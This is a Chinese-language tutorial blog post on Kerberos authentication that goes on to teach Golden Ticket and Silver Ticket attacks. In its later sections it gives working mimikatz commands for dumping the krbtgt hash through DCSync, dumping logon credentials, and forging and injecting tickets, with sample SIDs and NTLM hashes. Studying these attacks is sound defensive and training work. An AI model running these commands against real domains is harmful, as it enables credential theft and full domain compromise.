Kerberos与票据的爱情故事
0x01.Kerberos认证原理
Kerberos是一种认证机制。目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务:
保护服务器防止错误的用户使用,同时保护它的用户使用正确的服务器,即支持双向验证。kerberos最初由MIT
麻省理工开发,微软从Windows 2000开始支持Kerberos认证机制,将kerberos作为域环境下的主要身份认证
机制,理解kerberos是域渗透的基础。
0x02. kerberos认证框架
kerberos机制中主要包含三个角色:Client、Server、KDC(Key Distribution Center)密钥分发中心
。
Client代表用户,用户有自己的密码,Server上运行的服务也有自己的密码,KDC是受信任的三方认证中心,
它拥有用户和服务的密码信息。
KDC服务默认会安装在域控中,Client想要访问Server的服务(xxx service),前提是通过KDC认证,再
由KDC发放的票据决定Client是否有权限访问Server的服务
铺垫小知识:
KDC(Key Distribution center)
: 密钥分发中心,在域环境中,KDC服务默认会安装在域控中。
AS(Authentication Service)
: 认证服务,验证client的credential(身份认证信息),发放TGT。
TGT(Ticket Granting ticket)
: 票据授权票据,由KDC的AS发放,客户端获取到该票据后,以后申请其他应用的服务票据(ST)时,就不需要向KDC的AS提交身份认证信息(credential),TGT具有一定的有效期。由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信 息
TGS(Ticket Granting Service)
: 票据授权服务,验证TGT,发放ST。
ST(Service Ticket)
: 服务票据,由KDC的TGS发放,是客户端应用程序访问Server某个服务的凭证,Server端验证通过则完成Client与Server端信任关系的建立。
Session key:
用来加密client和TGS之间传输的数据。
Server session key:
用来加密client和server之间传输的数据。
首先Client想要访问Server的某个服务,就需要通过KDC的认证,获取到服务票据(ST),
服务会验证服务票据(ST)来判断Client是否通过了KDC认证。为了避免Client每次
访问Server的服务都要向KDC认证(输入密码),KDC设计时分成了两个部分,一个是AS,另一个是TGS;
AS接收Client的认证信息,认证通过后给Client发放一个可重复使用的票据TGT,后续Client使用这个TGT向TGS请求ST即可
这是一个简单的认证流程
0x03. 详细认证流程
The Authentication Service Exchange(认证服务器):
Client 与 AS 的交互AS_REQ•AS_REP
Ticket-Granting Service (TGS) Exchange(票据授予服务器):
Client 与 TGS 的交互 TGS_REQ•TGS_REP
The Client/Server Authentication Exchange(pc和要访问的服务):
Client 与 Server 的交互 AP_REQ•AP_REP
第一步 Client 与 AS 的交互
用户登录阶段,通常由用户(admin)输入[用户名][密码]信息,在客户端侧,用户输入的密码信息被一个单向 Hash 函数生成 Client 密钥,即 admin 的 NTLM Hash:
Pre-authentication data:
就是用client对应的master key加密了一个timestamp。
Client info:
client用户信息
Server info:
这里并不是Client真正要访问的Server的名称,实际上是KDC的Ticket Granting Service的Server Name。
AS_REQ(请求):
KDC端收到该请求后,Authentication service用client info部分信息,在AD(account database)中查询该client name对应的master key,并对pre-authentication data数据进行解密,如果可以提取出一个合法的时间戳,那就说明该用户是合法的,验证通过,并回复KRB_AS_REP给client。
AS_REP(返回)
AS 收到用户认证请求后,AS 根据请求中的 用户名 AA 信息,从数据库中查找用户名是否存在。如果 用户名 AA 存在,则从 KDC 中可以获取 用户 AA 的密码,使用单向函数为该密码生成一个 Client 密钥(即NTLM Hash)。AS 生成随机字符串 Client/TGS Session Key,使用 Client 密钥(用户 AA 的密码 NTLM Hash)对 Client/TGS Session Key 加密得到 sessionkey_as;
再使用 TGS 密钥(krbtgt 用户的 NTLM Hash)对 Client/TGS Session Key 、 Client Info 和 Timestamp 加密,得到 TGT(TGT票据)。
将 sessionkey_as 和 TGT 一起返回给 Client。
Client 收到 AS 的响应消息后,利用自身的 Client 密钥(AA 的 NTLM Hash)对sessionkey_as 解密,这样就获取到 Client/TGS Session Key。
在 KDC 中存储了域中所有用户的密码 hash,当 AS 接受到 Client 的请求后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 hash 加密的 sessionkey-as 和 TGT
总体来说,KRB_AS_REP分为两部分:
1、 用client master key对session key进行加密后的值。Session key是KDC随机生成的UUID,用于client和TGS服务之间的数据加密、认证。
2、 用KDC master key值对TGT进行加密。这部分client解不了。由此处也可以看出,TGT包括三个部分,分别是session key、client name、end time。
(当响应信息里面有KDC Hash,即可伪造黄金票据)
第二步、Client 与 TGS 的交互
当client端接收到AS_REP时,client使用client master key对KRB_AS_REP的第一部分信息进行解密,得到session key,并再次拼装出TGS_REQ请求体,向KDC的TGS发出请求
请求结构如下,TGS_REQ请求体包括:Session key(client info+时间戳)、TGT、client info、server info;
其中,server info就是该client真正要访问的server,步骤一AS_REQ
中的不一样;】
TGS-REQ(请求):
当TGS服务收到到client请求体KRB_TGS_REQ时,因为TGS端并没有session key,只能先利用TGS的master key去解TGT部分内容,得到session key,再去解Session key(client info+时间戳)部分,从而验证该用户是否是AS颁发给该client的。验证通过后,给client回复KRB_TGS_REP给client
TGS-REP(返回):
TGS 收到请求后,检查 KDC 数据库中是否存在所请求的服务(Service ID)。如果存在,TGS 使用 TGS 密钥(krbtgt 的 NTLM Hash)解密 TGT,得到 Client/TGS Session Key、timestamp、Client info;同时使用从 TGT 中解密得到的 Client/TGS Session Key去解密 Authenticator2,得到 Client info 和 timestamp。比对 Authenticator2 和TGT 的解密内容以验证通过。
•TGS 比对 Authenticator2 包含的 Client ID 和 TGT 中的 Client ID•比较时间戳(误差范围在2分钟)•通过生命周期字段检查 TGT 是否过期•检查 Authenticator2 已经不再 TGS 的缓存中•若原始请求中的网络地址不为 NULL,比较 TGT 中的 IP 和请求的 IP
验证成功后,随机生成 Client 所请求服务的会话密钥 Client/Server Session Key;
使用 Server 密钥(即服务器计算机的NTLM Hash)对 Client/Server Session Key、Client Info(包含 Client ID)、TimeStamp 加密得到 Client-To-Server Ticket(也称为 ST 票据);
使用 Client/TGS Session Key 对 Client/Server Session Key 加密得到sessionkey_tgs
最终将 Client-To-Server Ticket、sessionkey_tgs 返回给 Client。
第三步
Client 向 SS(Service Server)发送服务请求
AP-REQ:
Client 收到 Client-To-Server Ticket、sessionkey_tgs 之后,使用Client/TGS Session Key 对 sessionkey_tgs 解密得到 Client/Server Session Key,然后使用 Client/Server Session Key 对 Client Info 和 timestamp 加密得到Authenticator3;将 Authenticator3 和 Client-To-Server Ticket 发送给所请求服务的服务器(Service Server)。
Service Server 响应 Client
Service Server 收到客户端的服务访问请求之后,利用 Server 密钥(Server 的 ntlm Hash)对 Client-To-Server Ticket 解密,提取出 Client/Server SessionKey、Client ID 等信息。Service Server 使用 Client/Server SessionKey 对 Authenticator3 解密得到 Client ID 和 TimeStamp。
Service Server 发送最后的验证消息——用 Client/Server SessionKey 加密的 Timestamp 和 Service ID 数据包给 Client。
Client 收到之后,使用缓存的 Client/Server SessionKey 解密提取 Timestamp 信息,然后确认该信息与 Client 发送的 Authenticator3 中的 Timestamp 信息是否一致。验证通过后,在定义的通讯周期内,Client 可以使用票据请求 Service。
总结
第一步(返回TGT):
AS 的响应消息中有一条是属于 Client 的,有一条是 TGS 的。•TGT 的到期时间为 8 小时,如果超过了 8 小时,还需要重新申请 TGT,不能之间进入下一步获取 Ticket。
•KDC 返回的 TGT 客户端是无法解密的,因为它没有 KDC Hash,如果有,我们就可以伪造黄金票据
第二步:
认证通过后TGS生成使用Logon Session Key(SKDC-Client)加密过用于Client和Server之间通信的Session Key(SServer-Client),Server的Master Key进行加密的ST(Service Ticket)
(1).经过 Logon session key加密的Client和Server之间的Session Key
(2).经过Server的Master Key进行加密的ST(Service Ticket)。
Ticket大体包含以下一些内容:
Session Key(SServer-Client)
Domain name\Client。
Ticket的到期时间。
Client 收到TGS的响应,使用 Logon session key,解密第一部分后获得 Session Key (注意区分 Logon Session Key 与 Session Key 分别是什么步骤获得的,及其的区别)。有了 Session Key 和 ST(Service Ticket), Client 就可以直接和 Server 进行交互,而无须在通过 KDC 作中间人了。
第三步:
白银票据不与KDC交互,伪造Ticket直接与 Service server进行交互,看下第三步Client和Server认证中的请求
Server接收到客户端的数据包后,使用自己的密码Hash解密 Ticket 得出 session key,再使用 session key
解密Authenticator和timestamp即可通过验证,所以我们只需要知道 server 用户的hash可以伪造出一个 ticket,这就是白银票据
0x04. 票据传递攻击
这里介绍域内常用的两种攻击方式:黄金票据Golden ticket、白银票据SILVER TICKET
1、黄金票据Golden ticket
原理:
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,
而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash(也就是KDC hash),就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,
不用验证账户和密码,所以也不担心域管密码修改。
如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
特点:不需要与AS进行交互,需要用户krbtgt的Hash
黄金票据的条件要求:
1.域名称
2.域的SID 值
3.域的KRBTGT账户NTLM密码哈希
第一步:
先使用 mimikatz抓去krbtgt的hash
lsadump::dcsync /user:krbtgt
提取出里面的sid和NTLM hash
SID: S-1-5-21-4098506371-3349406080-1400905760
NTLM Hash: 9f7afad7acc9f72b7e338b908795b7da
kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-1720693672-3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi
[制作票据]
kerberos::golden /admin:需要伪造的用户名 /domain:域名 /sid:sid /krbtgt:krbtgt的ntml hash /ticket:administrator.kiribi
/ticke参数是要存储的名字,方便后面导入
kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi
这时候创建成功了,会保存到桌面上
最后使用 kerberos::ptt administrator.kiribi
去加载票据
也可以使用 klist 去查看是否加载成功
没有成功是这样(因为我忘记截成功的图了)
白银票据
原理:
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
特点
1.不需要与KDC进行交互 2.需要server的NTLM hash
第一步:上传mimikatz到桌面
执行命令 mimikatz64.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
当然,也可以分依次执行
银票和金票差不多,需要sid和hash
使用方法:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造
构造好payload
kerberos::golden /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /target:DC.zkaq.cn /service:cifs /rc4:9f7afad7acc9f72b7e338b908795b7da /user:test /ptt
Kerberos与票据的爱情故事的更多相关文章
- kerberos认证协议爱情故事
0x01.kerberos简介 kerberos是一种域内认证协议,Kerberos的标志是三头狗,狗头分别代表以下角色: Client Server KDC(Key Distribution Cen ...
- jQuery Mobile_简单的爱情故事
<!doctype html> <html> <head> <meta charset="utf-8"> <meta name ...
- Java面试题总结之数据结构、算法和计算机基础(刘小牛和丝音的爱情故事1)
Java面试题总结之数据结构.算法和计算机基础(刘小牛和丝音的爱情故事1)mp.weixin.qq.com 全文字数: 1703 阅读时间: 大约6 分钟 刘小牛是一名Java程序员,由于天天9 ...
- 用Python讲述冯绍峰和赵丽颖的爱情故事
昨天刷头条时得知赵丽颖当妈妈了.作为一名程序员突发奇想,不如用Python简单叙述一下冯绍峰和赵丽颖的爱情故事,于是有了本文. 代码十分简单,适合编程小白和有一些Python基础的准程序员,其中用到了 ...
- burpsuite两个变量的爱情故事
抓包的时候在攻击类型处选择[Cluster bomb] 在payload type这里设置类型为[simple list] 第一个是账号 第二个是密码 分批加载即可
- base64变形注入与联合查询注入的爱情故事
先来写一下GET的知识点: 1.知道了convart函数(CONVERT函数是把日期转换为新数据类型的通用函数) 2.Illegal mix of collations for operation ' ...
- Linux爱情故事之如何以不一样的姿势(ssh)进入她的心
文章目录 1.ssh是谁,为什么要进入她的心 2.如何正确的扒拉ssh 2.1.ssh的常用参数 2.2.您配钥匙吗?(ssh生成公钥或者秘钥) 2.3.我要单向畅通无阻的进入你的心(ssh-copy ...
- Kerberos的黄金票据详解
0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...
- Kerberos的白银票据详解
0x01白银票据(Silver Tickets)定义 白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据.如下图所示,与域控制器没有AS-REQ 和 ...
随机推荐
- 从watevrCTF-2019:Pickle Store中学习python之pickle序列化漏洞
从watevrCTF-2019:Pickle Store中学习python之pickle序列化漏洞 pickle提供了一个简单的持久化功能.可以将对象以文件的形式存放在磁盘上. 其本质是Picklin ...
- python中不需要函数重载的原因
函数重载主要是为了解决两个问题: 1.可变参数类型 2.可变参数个数 并且函数重载一个基本的设计原则是,仅仅当两个函数除了参数类型和参数个数不同以外,其功能是完全相同的,此时才使用函数重载,如果两个函 ...
- JDK动态代理详解
JDK动态代理是代理模式的一种,且只能代理接口.spring也有动态代理,称为CGLib,现在主要来看一下JDK动态代理是如何实现的? 一.介绍 JDK动态代理是有JDK提供的工具类Proxy实现的, ...
- c++中的#include "stdafx.h"
转自:https://blog.csdn.net/lijun5635/article/details/13090341 在网上看到的一篇很详细的文章解释,之前一直不明白这个头文件什么作用,用来学习很好 ...
- 【题解】【POI2000】病毒
题目链接 这题让我们构造一个无限长的,不包括给定字符串的01串. 把给定字符串放到\(AC\)自动机上,在结尾处打上标记. 发现,如果我们要构造一个无限长的串,必然要有一个环. 那么这个环上就一定不能 ...
- 一道web入门题
9月27日00:00 这道题是我将hctf_warmup魔改之后得到的,难度比较低,主要还是讲一些web相关的思考方式,所以这篇文章会比较冗长过于详细.(毕竟是给小姑娘入门看的23333).就当M1s ...
- 加快ASP。NET Core WEB API应用程序。第2部分
下载source from GitHub 使用各种方法来增加ASP.NET Core WEB API应用程序的生产力 介绍 第1部分.创建测试RESTful WEB API应用程序第2部分.增加了AS ...
- Xnip Mac上方便好用的截图工具
Xnip Mac上方便好用的截图工具 标注 Xnip 拥有齐全的标注功能,您可以对截取的图片进行标注,在标注的同时还能重新调整截图大小. 查看标注操作 GIF 滚动截图 Xnip 的滚动截图功能可以让 ...
- Elasticsearch(3):别名
ES中可以为索引添加别名,一个别名可以指向到多个索引中,同时在添加别名时可以设置筛选条件,指向一个索引的部分数据,实现在关系数据库汇总的视图功能,这就是ES中别名的强大之处.别名是一个非常实用的功 ...
- 安装clion
转战c语言,首先搞定编辑器,之前用的pycharm所以就直接用clion了,但是装完不能直接用参考 https://www.cnblogs.com/lyc94620/p/9581786.html 所以 ...